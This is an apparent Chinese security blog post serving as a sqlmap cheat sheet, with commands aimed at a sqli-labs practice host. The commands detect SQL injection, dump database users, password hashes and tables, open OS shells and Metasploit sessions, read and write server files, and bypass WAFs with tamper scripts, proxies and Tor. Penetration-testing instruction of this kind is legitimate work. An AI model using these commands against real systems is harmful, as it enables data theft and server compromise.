Frieza

MS08067安全实验室

  博客园  :: 首页  :: 新随笔  :: 联系 ::  :: 管理

Sqlmap基本用法

基本用法

探测SQL注入:

sqlmap -r sql.txt    # 探测是否存在post型SQL注入<sql.txt为提交时截取的post包>
sqlmap -r sql.txt -p username    # post型注入指定注入参数
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie"   # 当该网站需要登录时,探测该url是否存在漏洞<可以使用cookie登录>
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit"  # 探测是否存在post型SQL注入, 抓取其post提交的数据填入
sqlmap -u "http://www.xx.com/username/admin*"       # get型注入指定注入参数
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   # 探测是否存在get型SQL注入

获取用户数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users      # 查看数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords  # 查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可尝试:
  -D mysql -T user -C host,user,password --dump  # 当MySQL< 5.7时
  -D mysql -T user -C host,user,authentication_string --dump  # 当MySQL>= 5.7时
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  # 查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba    # 判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles     # 列出数据库所有管理员角色,仅适用于oracle数据库的时候

获取字段数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs        # 爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables     # 爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns    # 爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db # 查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables # 爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns # 爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  # 爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100  # 爆出数据库security中的users表中的username列中的前100条数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all # 爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   # 爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  # 爆出该数据库中的所有数据

高级用法

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  # 执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd   # 执行--os-shell命令,获取目标服务器权限
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-pwn   # 执行--os-pwn命令,将目标权限弹到MSF上
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  # 将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL"     # 指定其数据库为mysql 
其他数据库:
  <Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, SQLite, Sybase, Vertica, eXtremeDB>
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   # 使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    # 指定代理
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --delay=3 --force-ssl     # 当爆破HTTPS网站会出现超时可以使用
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T    # 指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,也可以直接手工指定。
支持的探测方式如下:
	B: Boolean-based blind SQL injection(布尔型注入)
	E: Error-based SQL injection(报错型注入)
	U: UNION query SQL injection(可联合查询注入)
	S: Stacked queries SQL injection(可多语句查询注入)
	T: Time-based blind SQL injection(基于时间延迟注入)

sqlmap -d "mysql://root:root@192.168.10.130:3306/mysql" --os-shell   # 知道网站的账号密码直接连接

	-v3                   # 输出详细度  最大值5 会显示请求包和回复包
	--threads 5           # 指定线程数
	--fresh-queries       # 清除缓存
	--flush-session       # 清空会话,重构注入 
	--batch               # 对所有的交互式的都是默认的
	--random-agent        # 任意的http头
	--tamper base64encode            # 对提交的数据进行base64编码
	--referer http://www.baidu.com   # 伪造referer字段
	--keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数

WAF检测绕过

# 指定脚本进行过滤,用/**/代替空格<--tamper指定脚本>
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --tamper=space2comment.py  

# 检测是否有WAF
--identify-waf   

# 使用参数进行绕过
--random-agent    使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3      使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp             使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985      使用代理进行绕过
--ignore-proxy    禁止使用系统的代理,直接连接进行注入
--flush-session   清空会话,重构注入
--hex 或者 --no-cast     进行字符码转换
--mobile          对移动端的服务器进行注入
--tor             匿名注入

探测等级和危险等级(—level —risk)

Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5

Sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级,—risk=3
posted on 2021-03-31 15:14  Frieza_021  阅读(105)  评论(0)    收藏  举报